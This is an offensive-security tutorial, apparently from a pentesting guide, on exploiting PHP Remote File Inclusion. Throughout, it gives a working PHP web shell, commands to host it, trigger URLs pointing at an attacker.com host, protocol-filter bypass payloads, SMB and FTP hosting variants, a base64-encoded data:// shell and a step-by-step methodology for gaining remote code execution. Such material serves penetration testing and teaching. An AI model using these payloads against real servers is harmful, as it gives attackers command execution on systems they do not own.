Remote File Inclusion (RFI) is LFI’s cousin: instead of including a local file, the app fetches and includes a URL you control. Because your URL points at an attacker-hosted PHP file, RFI gives you instant RCE without needing log poisoning or wrappers.
Prerequisites
RFI requires the sink function to support remote URLs and the PHP configuration to allow it:
| Setting | Must be |
|---|---|
allow_url_fopen | On (default: On) |
allow_url_include | On (default: Off since PHP 5.2) |
The function must also appear in the “Remote URL” column of the LFI capability matrix:
- PHP:
include,include_once,file_get_contents, anddata://wrapper - Java:
import - .NET:
@Html.RemotePartial(),include
On modern targets allow_url_include is usually Off, which is why RFI is rarer than it once was.
Basic Exploitation
Host a PHP payload on your attacker server:
# On your box
mkdir /tmp/rfi && cd /tmp/rfi
cat > shell.php << 'EOF'
<?php system($_GET['c']); ?>
EOF
sudo php -S 0.0.0.0:80Trigger the inclusion:
?file=http://attacker.com/shell.php&c=id
The target fetches shell.php, PHP parses it and executes system($_GET['c']) with c=id.
Why .php on the Attacker Server Doesn’t Execute
A common confusion: if your attacker server is also PHP, won’t it execute the shell locally?
No — because when the target fetches the URL, it reads the raw bytes of your file. PHP on your server doesn’t execute files being served statically; it executes files inside its document root when accessed via the web server. A static file over HTTP comes back as raw text.
To be safe, serve with a non-PHP-interpreting server:
python3 -m http.server 80Testing RFI Detection
Point the parameter at your HTTP listener to check if the server actually fetches it:
nc -lvnp 80Then:
?file=http://attacker.com/
If you see an HTTP GET on your listener, the server is making outbound requests — RFI is possible. If no request arrives, check for:
allow_url_fopen = Off- Egress filtering on the target network
- The function doesn’t support URLs
Bypassing Protocol Blacklists
Some apps strip http:// or https:// from input:
$file = str_replace('http://', '', $_GET['file']);Bypass with case variation:
?file=HtTp://attacker.com/shell.php
Or with protocol duplication (if the filter strips once):
?file=httphttp://://attacker.com/shell.php
After str_replace removes the inner http://, you’re left with http://attacker.com/shell.php.
Using SMB on Windows Targets
If the target is Windows, you can host the payload on SMB instead of HTTP:
?file=\\attacker.com\share\shell.php
Set up an SMB server:
# Impacket
sudo smbserver.py share /tmp/rfi -smb2supportThis bypasses egress filters that block HTTP but allow SMB. Also useful for XXE-to-RFI chains.
RFI via FTP
If allow_url_include = On, FTP works too:
?file=ftp://attacker.com/shell.php
Combining with Base64 for Stealth
Encode the URL payload to defeat URL-based detection:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id
Not strictly RFI but covers the same “remote code” scenario — payload is in the URL rather than fetched externally.
When RFI Fails
If RFI doesn’t work but LFI does, fall back to LFI-to-RCE techniques:
- Log poisoning via
User-Agent - PHP session file injection
- Wrapper abuse (
php://input,data://ifallow_url_includeis on for data but not http)
Legacy Context — CGI RFI
Older servers running PHP as CGI sometimes allow RFI even when allow_url_include = Off, due to how CGI processes include paths. Try it on legacy targets if the config seems to block it.
Methodology
- Confirm the sink function supports remote URLs (capability matrix)
- Test for outbound HTTP by pointing at a listener
- If outbound works, host a PHP payload and include it
- If HTTP is blocked, try SMB (Windows) or FTP
- If
allow_url_include = Off, pivot to log poisoning for RCE
